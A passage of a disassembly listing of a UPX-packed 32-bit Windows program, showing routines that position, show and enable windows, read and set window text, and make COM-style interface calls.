jnz short loc_417D4E
add eax, ebx
add ecx, ebx
test dx, dx
jnz short loc_417D2A
loc_417D4A: ; CODE XREF: sub_417C70+C5j
xor eax, eax
jmp short loc_417D53
; ---------------------------------------------------------------------------
loc_417D4E: ; CODE XREF: sub_417C70+C0j
; sub_417C70+CFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417D53: ; CODE XREF: sub_417C70+DCj
test eax, eax
jnz short loc_417D65
mov esi, [ebp+var_18]
mov edi, [ebp+var_14]
sub esi, [ebp+var_4]
sub edi, [ebp+arg_0]
jmp short loc_417DC8
; ---------------------------------------------------------------------------
loc_417D65: ; CODE XREF: sub_417C70+E5j
cmp di, 8
jnz short loc_417DC2
mov esi, [esi+28h]
mov eax, offset aCenter ; "center"
loc_417D73: ; CODE XREF: sub_417C70+121j
mov cx, [esi]
cmp cx, [eax]
jnz short loc_417D97
test cx, cx
jz short loc_417D93
mov cx, [esi+2]
cmp cx, [eax+2]
jnz short loc_417D97
add esi, ebx
add eax, ebx
test cx, cx
jnz short loc_417D73
loc_417D93: ; CODE XREF: sub_417C70+10Ej
xor eax, eax
jmp short loc_417D9C
; ---------------------------------------------------------------------------
loc_417D97: ; CODE XREF: sub_417C70+109j
; sub_417C70+118j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417D9C: ; CODE XREF: sub_417C70+125j
test eax, eax
jnz short loc_417DC2
mov eax, [ebp+var_18]
sub eax, [ebp+var_4]
add eax, [ebp+var_20]
cdq
sub eax, edx
mov esi, eax
mov eax, [ebp+var_1C]
sub eax, [ebp+arg_0]
sar esi, 1
add eax, [ebp+var_14]
cdq
sub eax, edx
mov edi, eax
sar edi, 1
jmp short loc_417DC8
; ---------------------------------------------------------------------------
loc_417DC2: ; CODE XREF: sub_417C70+ACj
; sub_417C70+F9j ...
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_0]
loc_417DC8: ; CODE XREF: sub_417C70+F3j
; sub_417C70+150j
mov eax, [ebp+var_8]
push 20h
push [ebp+arg_0]
push [ebp+var_4]
push edi
push esi
push 0FFFFFFFFh
push dword ptr [eax+4]
call dword_41D2A4 ; SetWindowPos
jmp short loc_417E59
; ---------------------------------------------------------------------------
loc_417DE2: ; CODE XREF: sub_417C70+9Cj
cmp eax, ebx
jnz short loc_417DF6
mov esi, [esi]
mov edi, [esi+28h]
mov esi, [esi+38h]
add edi, [ebp+var_1C]
add esi, [ebp+var_20]
jmp short loc_417E59
; ---------------------------------------------------------------------------
loc_417DF6: ; CODE XREF: sub_417C70+174j
cmp eax, 5
jnz short loc_417E53
mov eax, [esi]
cmp word ptr [eax+40h], 8
jnz short loc_417E53
mov eax, [eax+48h]
mov ecx, offset aMouse ; "mouse"
loc_417E0C: ; CODE XREF: sub_417C70+1BAj
mov dx, [eax]
cmp dx, [ecx]
jnz short loc_417E30
test dx, dx
jz short loc_417E2C
mov dx, [eax+2]
cmp dx, [ecx+2]
jnz short loc_417E30
add eax, ebx
add ecx, ebx
test dx, dx
jnz short loc_417E0C
loc_417E2C: ; CODE XREF: sub_417C70+1A7j
xor eax, eax
jmp short loc_417E35
; ---------------------------------------------------------------------------
loc_417E30: ; CODE XREF: sub_417C70+1A2j
; sub_417C70+1B1j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417E35: ; CODE XREF: sub_417C70+1BEj
test eax, eax
jnz short loc_417E53
lea eax, [ebp+var_10]
push eax
call dword_41D2A0 ; GetCursorPos
mov esi, [esi]
mov edi, [esi+28h]
mov esi, [esi+38h]
add edi, [ebp+var_C]
add esi, [ebp+var_10]
jmp short loc_417E59
; ---------------------------------------------------------------------------
loc_417E53: ; CODE XREF: sub_417C70+189j
; sub_417C70+192j ...
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_0]
loc_417E59: ; CODE XREF: sub_417C70+91j
; sub_417C70+170j ...
push 1
push [ebp+arg_0]
push [ebp+var_4]
push edi
push esi
mov esi, [ebp+var_8]
push dword ptr [esi+4]
call dword_41D270 ; MoveWindow
mov eax, esi
call sub_417C15
push 5
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
pop edi
pop esi
pop ebx
leave
retn 8
sub_417C70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E88 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_423C1C
xor edx, edx
repe cmpsd
mov eax, 80004002h
jz short loc_417EB4
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_424394
xor edx, edx
repe cmpsd
jnz short loc_417EC7
loc_417EB4: ; CODE XREF: sub_417E88+19j
mov ecx, [ebp+arg_0]
lea eax, [ecx-24h]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [ebp+arg_8]
mov [ecx], eax
xor eax, eax
loc_417EC7: ; CODE XREF: sub_417E88+2Aj
pop edi
pop esi
pop ebp
retn 0Ch
sub_417E88 endp
; =============== S U B R O U T I N E =======================================
sub_417ECD proc near ; CODE XREF: UPX0:00417FD1p
push 34h
mov eax, offset loc_41BFAB
call sub_40C46D
push dword ptr [ebp+0Ch]
lea eax, [ebp-40h]
call sub_40518A
mov esi, [ebp+8]
and dword ptr [ebp-4], 0
lea eax, [ebp-40h]
add esi, 3Ch
push eax
mov eax, esi
mov [ebp+0Ch], esi
call sub_405DF5
mov ebx, eax
mov [ebp-10h], ebx
test esi, esi
jnz short loc_417F0A
call sub_40B27B
loc_417F0A: ; CODE XREF: sub_417ECD+36j
mov eax, [esi]
mov ecx, [esi+18h]
lea edi, [ebp-1Ch]
lea esi, [ebp-14h]
mov [ebp-14h], eax
mov [ebp-18h], ecx
mov [ebp-1Ch], eax
call sub_4052D2
test al, al
jnz short loc_417F88
cmp dword ptr [ebx+28h], 8
mov esi, [ebx+24h]
jb short loc_417F35
mov eax, [ebx+14h]
jmp short loc_417F38
; ---------------------------------------------------------------------------
loc_417F35: ; CODE XREF: sub_417ECD+61j
lea eax, [ebx+14h]
loc_417F38: ; CODE XREF: sub_417ECD+66j
mov edi, [ebp-2Ch]
mov edx, edi
cmp edi, esi
jb short loc_417F43
mov edx, esi
loc_417F43: ; CODE XREF: sub_417ECD+72j
cmp dword ptr [ebp-28h], 8
mov ecx, [ebp-3Ch]
jnb short loc_417F4F
lea ecx, [ebp-3Ch]
loc_417F4F: ; CODE XREF: sub_417ECD+7Dj
test edx, edx
jbe short loc_417F62
loc_417F53: ; CODE XREF: sub_417ECD+93j
mov bx, [ecx]
cmp bx, [eax]
jnz short loc_417F7A
inc ecx
inc ecx
inc eax
inc eax
dec edx
jnz short loc_417F53
loc_417F62: ; CODE XREF: sub_417ECD+84j
xor eax, eax
loc_417F64: ; CODE XREF: sub_417ECD+B9j
test eax, eax
jnz short loc_417F73
cmp edi, esi
jb short loc_417F88
cmp edi, esi
setnz al
test eax, eax
loc_417F73: ; CODE XREF: sub_417ECD+99j
jl short loc_417F88
lea eax, [ebp-14h]
jmp short loc_417F99
; ---------------------------------------------------------------------------
loc_417F7A: ; CODE XREF: sub_417ECD+8Cj
mov cx, bx
cmp cx, [eax]
sbb eax, eax
and eax, 0FFFFFFFEh
inc eax
jmp short loc_417F64
; ---------------------------------------------------------------------------
loc_417F88: ; CODE XREF: sub_417ECD+58j
; sub_417ECD+9Dj ...
mov eax, [ebp+0Ch]
mov ecx, [eax+18h]
mov eax, [eax]
mov [ebp-1Ch], eax
mov [ebp-18h], ecx
lea eax, [ebp-1Ch]
loc_417F99: ; CODE XREF: sub_417ECD+ABj
mov ecx, [eax]
mov eax, [eax+4]
push 0
push 1
lea esi, [ebp-40h]
mov [ebp-24h], ecx
mov [ebp-20h], eax
call sub_4055BC
lea esi, [ebp-24h]
call sub_4057C9
mov eax, [eax+20h]
call sub_40C50C
retn 8
sub_417ECD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov eax, [esp+0Ch]
push dword ptr [eax]
mov eax, [esp+8]
add eax, 0FFFFFFDCh
push eax
call sub_417ECD
mov ecx, [esp+18h]
mov [ecx], eax
xor eax, eax
retn 18h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FE1 proc near ; CODE XREF: sub_408E29+CEp
; UPX0:004094F0p ...
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov edi, eax
lea edx, [ebp+var_4]
lea esi, [edi+34h]
mov eax, [esi]
mov ecx, [eax]
push edx
push eax
call dword ptr [ecx+1Ch]
test eax, eax
jge short loc_418037
push offset dword_4242D4
add edi, 30h
push edi
lea ebx, [ebp+var_8]
call sub_404C9D
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+48h]
mov eax, [ebp+var_C]
mov ecx, [eax]
push esi
push offset dword_424384
push eax
call dword ptr [ecx]
mov esi, [esi]
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push esi
call dword ptr [eax+1Ch]
loc_418037: ; CODE XREF: sub_417FE1+1Cj
call off_42A000
mov eax, [ebp+arg_0]
lea edx, [ebp+var_14]
push edx
push 800h
push 1
lea edx, [ebp+var_10]
push edx
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push offset dword_41D440
push eax
call dword ptr [ecx+14h]
test eax, eax
jl loc_41811B
mov esi, [ebp+arg_4]
xor eax, eax
lea edi, [ebp+var_24]
stosd
stosd
stosd
stosd
xor ecx, ecx
push 10h
pop edx
mov eax, esi
mul edx
seto cl
mov [ebp+var_1C], esi
neg ecx
or ecx, eax
push ecx
call sub_40AC06
xor ebx, ebx
pop ecx
mov [ebp+var_24], eax
test esi, esi
jle short loc_4180EA
xor edi, edi
loc_418099: ; CODE XREF: sub_417FE1+107j
mov eax, [ebp+arg_8]
push dword ptr [eax+ebx*4]
lea esi, [ebp+arg_0]
call sub_4011E3
mov eax, [ebp+var_24]
lea esi, [edi+eax+8]
xor eax, eax
cmp esi, eax
jz short loc_4180CE
cmp [ebp+arg_0], eax
jz short loc_4180CC
push [ebp+arg_0]
call dword_41D258
push eax
push [ebp+arg_0]
call dword_41D244
loc_4180CC: ; CODE XREF: sub_417FE1+D6j
mov [esi], eax
loc_4180CE: ; CODE XREF: sub_417FE1+D1j
mov ecx, [ebp+var_24]
push 8
pop eax
push [ebp+arg_0]
mov [edi+ecx], ax
call dword_41D25C
inc ebx
add edi, 10h
cmp ebx, [ebp+arg_4]
jl short loc_418099
loc_4180EA: ; CODE XREF: sub_417FE1+B4j
mov eax, [ebp+var_4]
xor ecx, ecx
push ecx
push ecx
push ecx
mov [ebp+var_18], ecx
mov edx, [eax]
lea ecx, [ebp+var_24]
push ecx
push 1
push 800h
push offset dword_41D440
push [ebp+var_14]
push eax
call dword ptr [edx+18h]
push [ebp+var_24]
mov esi, eax
call sub_40B36B
pop ecx
mov eax, esi
loc_41811B: ; CODE XREF: sub_417FE1+81j
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_417FE1 endp
; =============== S U B R O U T I N E =======================================
sub_418122 proc near ; CODE XREF: sub_408D98+3Dp
; sub_408D98+54p ...
push 3Ch
mov eax, offset loc_41BFCE
call sub_40C46D
mov esi, ecx
mov eax, [esi+58h]
push dword ptr [ebp+8]
add eax, 186A0h
mov [ebp-2Ch], eax
mov eax, [ebp+10h]
mov [ebp-24h], eax
mov eax, [ebp+14h]
mov [ebp-20h], eax
mov al, [ebp+0Ch]
mov [ebp-1Ch], al
lea eax, [ebp-48h]
call sub_40518A
and dword ptr [ebp-4], 0
lea eax, [ebp-48h]
push eax
lea ebx, [esi+3Ch]
call sub_4051B7
push 6
pop ecx
mov edi, eax
lea esi, [ebp-2Ch]
push 0
rep movsd
push 1
lea esi, [ebp-48h]
call sub_4055BC
call sub_40C50C
retn 10h
sub_418122 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418186 proc near ; CODE XREF: sub_409FB8+FBp
; sub_40A0E8+46p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
cmp [ebp+arg_0], edi
jz short loc_4181B2
push [ebp+arg_0]
call dword_41D348 ; IsWindowEnabled
mov [ebp+var_8], eax
cmp eax, edi
jz short loc_4181B2
push edi
push [ebp+arg_0]
call dword_41D284 ; EnableWindow
loc_4181B2: ; CODE XREF: sub_418186+10j
; sub_418186+20j
mov eax, [ebp+arg_4]
mov [ebp+var_18], edi
mov [ebp+var_14], edi
mov [ebp+var_10], edi
mov [ebp+var_C], edi
mov [ebp+var_4], eax
cmp dword_42DE28, edi
jnz short loc_4181D2
mov dword_42DE28, edi
loc_4181D2: ; CODE XREF: sub_418186+44j
push [ebp+arg_0]
lea eax, [esi+20h]
push eax
mov ebx, offset dword_42DDF8
call sub_406DD8
pop ecx
pop ecx
movzx eax, ax
cmp [ebp+arg_4], edi
jnz short loc_4181F4
mov [ebp+var_4], 56000000h
loc_4181F4: ; CODE XREF: sub_418186+65j
push eax
push edi
push edi
push [ebp+var_4]
lea eax, [ebp+var_18]
push offset dword_423AEC
push eax
push [ebp+arg_0]
mov ebx, esi
call sub_40691F
cmp [ebp+arg_8], edi
jz short loc_418225
push [ebp+arg_8]
push 1
push 80h
push dword ptr [esi+4]
call dword_41D288 ; SendMessageW
loc_418225: ; CODE XREF: sub_418186+8Aj
cmp [ebp+arg_C], edi
jz short loc_418236
push [ebp+arg_C]
push dword ptr [esi+4]
call dword_41D280 ; SetWindowTextW
loc_418236: ; CODE XREF: sub_418186+A2j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+10h]
push [ebp+arg_0]
mov esi, eax
call dword_41D334 ; SetForegroundWindow
cmp [ebp+arg_0], edi
jz short loc_41825D
cmp [ebp+var_8], edi
jz short loc_41825D
push 1
push [ebp+arg_0]
call dword_41D284 ; EnableWindow
loc_41825D: ; CODE XREF: sub_418186+C5j
; sub_418186+CAj
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_418186 endp
; =============== S U B R O U T I N E =======================================
sub_418266 proc near ; DATA XREF: sub_404725+127o
push 20h
mov eax, offset loc_41C011
call sub_40C4D6
mov eax, [ebp+0Ch]
dec eax
jz short loc_4182E8
sub eax, 81h
jz short loc_4182C8
sub eax, 18Eh
jnz loc_4184A1
cmp dword ptr [ebp+10h], 1
jnz loc_4184A1
mov esi, dword_41D2CC
push 0FFFFFFECh
push dword ptr [ebp+14h]
call esi ; dword_41D2CC
mov ebx, 10000h
test eax, ebx
jz loc_4184A1
push 0FFFFFFECh
push dword ptr [ebp+8]
call esi ; dword_41D2CC
or eax, ebx
push eax
push 0FFFFFFECh
push dword ptr [ebp+8]
call dword_41D2B4 ; SetWindowLongW
jmp loc_4184A1
; ---------------------------------------------------------------------------
loc_4182C8: ; CODE XREF: sub_418266+17j
push 0FFFFFFEBh
push dword ptr [ebp+8]
call dword_41D2CC ; GetWindowLongW
test eax, eax
jz short loc_4182DD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4182DD: ; CODE XREF: sub_418266+6Fj
call dword_41D3B4
jmp loc_4184A1
; ---------------------------------------------------------------------------
loc_4182E8: ; CODE XREF: sub_418266+10j
xor edi, edi
push edi
call dword_41D3B0
push dword ptr [ebp+8]
call dword_41D308 ; GetWindowTextLengthW
mov esi, eax
lea eax, [esi+esi+0Ah]
cmp eax, 400h
ja short loc_41831A
call sub_4160F0
mov eax, esp
cmp eax, edi
jz short loc_41832E
mov dword ptr [eax], 0CCCCh
jmp short loc_41832B
; ---------------------------------------------------------------------------
loc_41831A: ; CODE XREF: sub_418266+9Fj
push eax
call sub_40AEA5
pop ecx
cmp eax, edi
jz short loc_41832E
mov dword ptr [eax], 0DDDDh
loc_41832B: ; CODE XREF: sub_418266+B2j
add eax, 8
loc_41832E: ; CODE XREF: sub_418266+AAj
; sub_418266+BDj
mov [ebp-18h], eax
mov [ebp-28h], eax
mov [ebp-4], edi
cmp eax, edi
jnz short loc_41834A
push edi
loc_41833C: ; CODE XREF: sub_418266+190j
call sub_401000
pop ecx
or eax, 0FFFFFFFFh
jmp loc_4184B3
; ---------------------------------------------------------------------------
loc_41834A: ; CODE XREF: sub_418266+D3j
inc esi
push esi
push eax
push dword ptr [ebp+8]
call dword_41D2C8 ; GetWindowTextW
push offset dword_423A08
push dword ptr [ebp+8]
call dword_41D280 ; SetWindowTextW
mov eax, [ebp+14h]
xor ebx, ebx
mov [ebp-24h], edi
cmp eax, edi
jz short loc_418379
mov eax, [eax]
cmp eax, edi
jz short loc_418379
movzx ebx, word ptr [eax]
loc_418379: ; CODE XREF: sub_418266+108j
; sub_418266+10Ej
push ebx
push 42h
call dword_41D208 ; GlobalAlloc
mov esi, eax
mov [ebp-14h], edi
mov byte ptr [ebp-4], 1
cmp esi, edi
jz short loc_4183C1
cmp ebx, edi
jz short loc_4183C1
push esi
call dword_41D210 ; GlobalLock
mov ecx, [ebp+14h]
mov ecx, [ecx]
inc ecx
push ebx
inc ecx
push ecx
push ebx
push eax
call sub_401125
; ---------------------------------------------------------------------------
add esp, 10h
push esi
call dword_41D1EC ; GlobalUnlock
lea eax, [ebp-14h]
push eax
push 1
push esi
call dword_41D3A8
loc_4183C1: ; CODE XREF: sub_418266+127j
; sub_418266+12Bj
mov [ebp-20h], edi
lea eax, [ebp-20h]
mov byte ptr [ebp-4], 2
mov ecx, [ebp-14h]
push eax
call sub_4016D2
cmp eax, edi
pop ecx
jge short loc_4183FB
push dword ptr [ebp-20h]
call dword_41D25C
mov byte ptr [ebp-4], 0
mov eax, [ebp-14h]
cmp eax, edi
loc_4183EB: ; CODE XREF: sub_418266+1E0j
jz short loc_4183F3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4183F3: ; CODE XREF: sub_418266:loc_4183EBj
push dword ptr [ebp-18h]
jmp loc_41833C
; ---------------------------------------------------------------------------
loc_4183FB: ; CODE XREF: sub_418266+171j
call off_42A000
mov [ebp-2Ch], edi
mov [ebp-1Ch], edi
mov byte ptr [ebp-4], 4
mov edi, [ebp-20h]
push edi
push dword ptr [ebp-14h]
lea ebx, [ebp-1Ch]
push dword ptr [ebp+8]
push dword ptr [ebp-18h]
call sub_404675
xor ebx, ebx
cmp eax, ebx
jge short loc_418448
mov byte ptr [ebp-4], 3
mov eax, [ebp-1Ch]
cmp eax, ebx
jz short loc_418437
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_418437: ; CODE XREF: sub_418266+1C9j
; sub_418266+201j
push edi
call dword_41D25C
mov [ebp-4], bl
mov eax, [ebp-14h]
cmp eax, ebx
jmp short loc_4183EB
; ---------------------------------------------------------------------------
loc_418448: ; CODE XREF: sub_418266+1BEj
mov esi, [ebp-1Ch]
mov eax, [esi]
lea ecx, [ebp-24h]
push ecx
push offset dword_423BFC
push esi
call dword ptr [eax]
cmp eax, ebx
jge short loc_418469
mov byte ptr [ebp-4], 3
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_418437
; ---------------------------------------------------------------------------
loc_418469: ; CODE XREF: sub_418266+1F5j
push dword ptr [ebp-24h]
push 0FFFFFFEBh
push dword ptr [ebp+8]
call dword_41D2B4 ; SetWindowLongW
mov byte ptr [ebp-4], 3
mov eax, [esi]
push esi
call dword ptr [eax+8]
push edi
call dword_41D25C
mov [ebp-4], bl
mov eax, [ebp-14h]
cmp eax, ebx
jz short loc_418498
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_418498: ; CODE XREF: sub_418266+22Aj
push dword ptr [ebp-18h]
call sub_401000
pop ecx
loc_4184A1: ; CODE XREF: sub_418266+1Ej
; sub_418266+28j ...
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_41D278 ; DefWindowProcW
loc_4184B3: ; CODE XREF: sub_418266+DFj
lea esp, [ebp-3Ch]
call sub_40C520
retn 10h
sub_418266 endp
; =============== S U B R O U T I N E =======================================
sub_4184BE proc near ; DATA XREF: sub_404725+7Ao
push 1Ch
mov eax, offset loc_41C056
call sub_40C4D6
mov eax, [ebp+0Ch]
dec eax
jz short loc_418540
sub eax, 81h
jz short loc_418520
sub eax, 18Eh
jnz loc_4186BC
cmp dword ptr [ebp+10h], 1
jnz loc_4186BC
mov esi, dword_41D2CC
push 0FFFFFFECh
push dword ptr [ebp+14h]
call esi ; dword_41D2CC
mov ebx, 10000h
test eax, ebx
jz loc_4186BC
push 0FFFFFFECh
push dword ptr [ebp+8]
call esi ; dword_41D2CC
or eax, ebx
push eax
push 0FFFFFFECh
push dword ptr [ebp+8]
call dword_41D2B4 ; SetWindowLongW
jmp loc_4186BC
; ---------------------------------------------------------------------------
loc_418520: ; CODE XREF: sub_4184BE+17j
push 0FFFFFFEBh
push dword ptr [ebp+8]
call dword_41D2CC ; GetWindowLongW
test eax, eax
jz short loc_418535
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_418535: ; CODE XREF: sub_4184BE+6Fj
call dword_41D3B4
jmp loc_4186BC
; ---------------------------------------------------------------------------
loc_418540: ; CODE XREF: sub_4184BE+10j
xor edi, edi
push edi
call dword_41D3B0
push dword ptr [ebp+8]
call dword_41D308 ; GetWindowTextLengthW
mov esi, eax
lea eax, [esi+esi+0Ah]
cmp eax, 400h
ja short loc_418572
call sub_4160F0
mov eax, esp
cmp eax, edi
jz short loc_418586
mov dword ptr [eax], 0CCCCh
jmp short loc_418583
; ---------------------------------------------------------------------------
loc_418572: ; CODE XREF: sub_4184BE+9Fj
push eax
call sub_40AEA5
pop ecx
cmp eax, edi
jz short loc_418586
mov dword ptr [eax], 0DDDDh
loc_418583: ; CODE XREF: sub_4184BE+B2j
add eax, 8
loc_418586: ; CODE XREF: sub_4184BE+AAj
; sub_4184BE+BDj
mov [ebp-1Ch], eax
mov [ebp-24h], eax
mov [ebp-4], edi
cmp eax, edi
jnz short loc_4185A2
loc_418593: ; CODE XREF: sub_4184BE+19Dj
; sub_4184BE+1A9j
push edi
call sub_401000
pop ecx
or eax, 0FFFFFFFFh
jmp loc_4186CE
; ---------------------------------------------------------------------------
loc_4185A2: ; CODE XREF: sub_4184BE+D3j
inc esi
push esi
push eax
push dword ptr [ebp+8]
call dword_41D2C8 ; GetWindowTextW
push offset dword_423A04
push dword ptr [ebp+8]
call dword_41D280 ; SetWindowTextW
mov eax, [ebp+14h]
xor esi, esi
mov [ebp-20h], edi
cmp eax, edi
jz short loc_4185D1
mov eax, [eax]
cmp eax, edi
jz short loc_4185D1
movzx esi, word ptr [eax]
loc_4185D1: ; CODE XREF: sub_4184BE+108j
; sub_4184BE+10Ej
push esi
push 42h
call dword_41D208 ; GlobalAlloc
mov ebx, eax
mov [ebp-14h], edi
mov byte ptr [ebp-4], 1
cmp ebx, edi
jz short loc_418619
cmp esi, edi
jz short loc_418619
push ebx
call dword_41D210 ; GlobalLock
mov ecx, [ebp+14h]
mov ecx, [ecx]
inc ecx
push esi
inc ecx
push ecx
push esi
push eax
call sub_401125
; ---------------------------------------------------------------------------
add esp, 10h
push ebx
call dword_41D1EC ; GlobalUnlock
lea eax, [ebp-14h]
push eax
push 1
push ebx
call dword_41D3A8
loc_418619: ; CODE XREF: sub_4184BE+127j
; sub_4184BE+12Bj
call off_42A000
mov [ebp-28h], edi
mov [ebp-18h], edi
push edi
mov edi, [ebp-1Ch]
mov byte ptr [ebp-4], 3
push dword ptr [ebp-14h]
lea ebx, [ebp-18h]
push dword ptr [ebp+8]
push edi
call sub_404675
xor ebx, ebx
cmp eax, ebx
jge short loc_41866C
mov byte ptr [ebp-4], 2
mov eax, [ebp-18h]
cmp eax, ebx
jz short loc_418653
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_418653: ; CODE XREF: sub_4184BE+18Dj
; sub_4184BE+1CDj
mov [ebp-4], bl
mov eax, [ebp-14h]
cmp eax, ebx
jz loc_418593
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_418593
; ---------------------------------------------------------------------------
loc_41866C: ; CODE XREF: sub_4184BE+182j
mov esi, [ebp-18h]
mov eax, [esi]
lea ecx, [ebp-20h]
push ecx
push offset dword_423C0C
push esi
call dword ptr [eax]
cmp eax, ebx
jge short loc_41868D
mov byte ptr [ebp-4], 2
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_418653
; ---------------------------------------------------------------------------
loc_41868D: ; CODE XREF: sub_4184BE+1C1j
push dword ptr [ebp-20h]
push 0FFFFFFEBh
push dword ptr [ebp+8]
call dword_41D2B4 ; SetWindowLongW
mov byte ptr [ebp-4], 2
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov [ebp-4], bl
mov eax, [ebp-14h]
cmp eax, ebx
jz short loc_4186B5
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4186B5: ; CODE XREF: sub_4184BE+1EFj
push edi
call sub_401000
pop ecx
loc_4186BC: ; CODE XREF: sub_4184BE+1Ej
; sub_4184BE+28j ...
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_41D278 ; DefWindowProcW
loc_4186CE: ; CODE XREF: sub_4184BE+DFj
lea esp, [ebp-38h]
call sub_40C520
retn 10h
sub_4184BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186D9 proc near ; CODE XREF: sub_418A6B+21p
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset loc_41C086
mov eax, large fs:0
push eax
sub esp, 41Ch
push esi
push edi
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+434h+var_C]
mov large fs:0, eax
mov eax, [ebx+54h]
mov eax, [eax]
mov ecx, [ebx+3Ch]
mov [esp+434h+var_420], ecx
mov [esp+434h+var_41C], eax
jmp short loc_418740
; ---------------------------------------------------------------------------
loc_41871C: ; CODE XREF: sub_4186D9+76j
mov eax, [ebx+54h]
mov [esp+434h+var_424], eax
mov eax, [ebx+3Ch]
lea edi, [esp+434h+var_428]
lea esi, [esp+434h+var_420]
mov [esp+434h+var_428], eax
call sub_4052D2
test al, al
jnz short loc_418751
call sub_405E27
loc_418740: ; CODE XREF: sub_4186D9+41j
lea esi, [esp+434h+var_420]
call sub_4057C9
mov ecx, [ebp+arg_0]
cmp [eax+20h], ecx
jnz short loc_41871C
loc_418751: ; CODE XREF: sub_4186D9+60j
mov eax, [ebx+54h]
mov [esp+434h+var_424], eax
mov eax, [ebx+3Ch]
lea edi, [esp+434h+var_428]
lea esi, [esp+434h+var_420]
mov [esp+434h+var_428], eax
call sub_4052D2
test al, al
jz short loc_41877A
mov eax, 80004001h
jmp loc_418886
; ---------------------------------------------------------------------------
loc_41877A: ; CODE XREF: sub_4186D9+95j
lea esi, [esp+434h+var_420]
call sub_4057C9
cmp byte ptr [eax+30h], 0
jnz short loc_4187A4
call sub_4057C9
push [ebp+arg_8]
mov edx, [eax+28h]
mov eax, [eax+2Ch]
push [ebp+arg_4]
lea ecx, [eax+ebx]
call edx
jmp loc_418884
; ---------------------------------------------------------------------------
loc_4187A4: ; CODE XREF: sub_4186D9+AEj
mov eax, [ebp+arg_4]
mov esi, [eax+8]
cmp esi, 100h
jle short loc_4187BC
mov eax, 80070057h
jmp loc_418886
; ---------------------------------------------------------------------------
loc_4187BC: ; CODE XREF: sub_4186D9+D7j
and [esp+434h+var_410], 0
push 3FCh
lea eax, [esp+438h+var_40C]
push 0
push eax
call sub_40BD40
add esp, 0Ch
dec esi
mov [esp+434h+var_428], esi
js short loc_41880E
shl esi, 4
lea edi, [esp+434h+var_410]
loc_4187E3: ; CODE XREF: sub_4186D9+133j
mov eax, [ebp+arg_4]
mov eax, [eax]
mov eax, [esi+eax+8]
mov ecx, 0FFh
cmp [eax], cx
ja short loc_4187FB
call sub_4178D6
loc_4187FB: ; CODE XREF: sub_4186D9+11Bj
mov [edi], eax
add edi, 4
dec [esp+434h+var_428]
sub esi, 10h
cmp [esp+434h+var_428], 0
jge short loc_4187E3
loc_41880E: ; CODE XREF: sub_4186D9+101j
lea esi, [esp+434h+var_420]
call sub_4057C9
mov edx, [eax+28h]
mov eax, [eax+2Ch]
lea ecx, [esp+434h+var_410]
push ecx
mov ecx, [ebp+arg_4]
push dword ptr [ecx+8]
lea ecx, [eax+ebx]
call edx
cmp [ebp+arg_8], 0
jz short loc_418884
push eax
lea eax, [esp+438h+var_420]
xor ecx, ecx
push eax
mov word ptr [esp+43Ch+var_420], cx
call sub_401304
and [esp+434h+var_4], 0
push [ebp+arg_8]
mov esi, dword_41D23C
call esi ; dword_41D23C
test eax, eax
jl short loc_41887D
push 10h
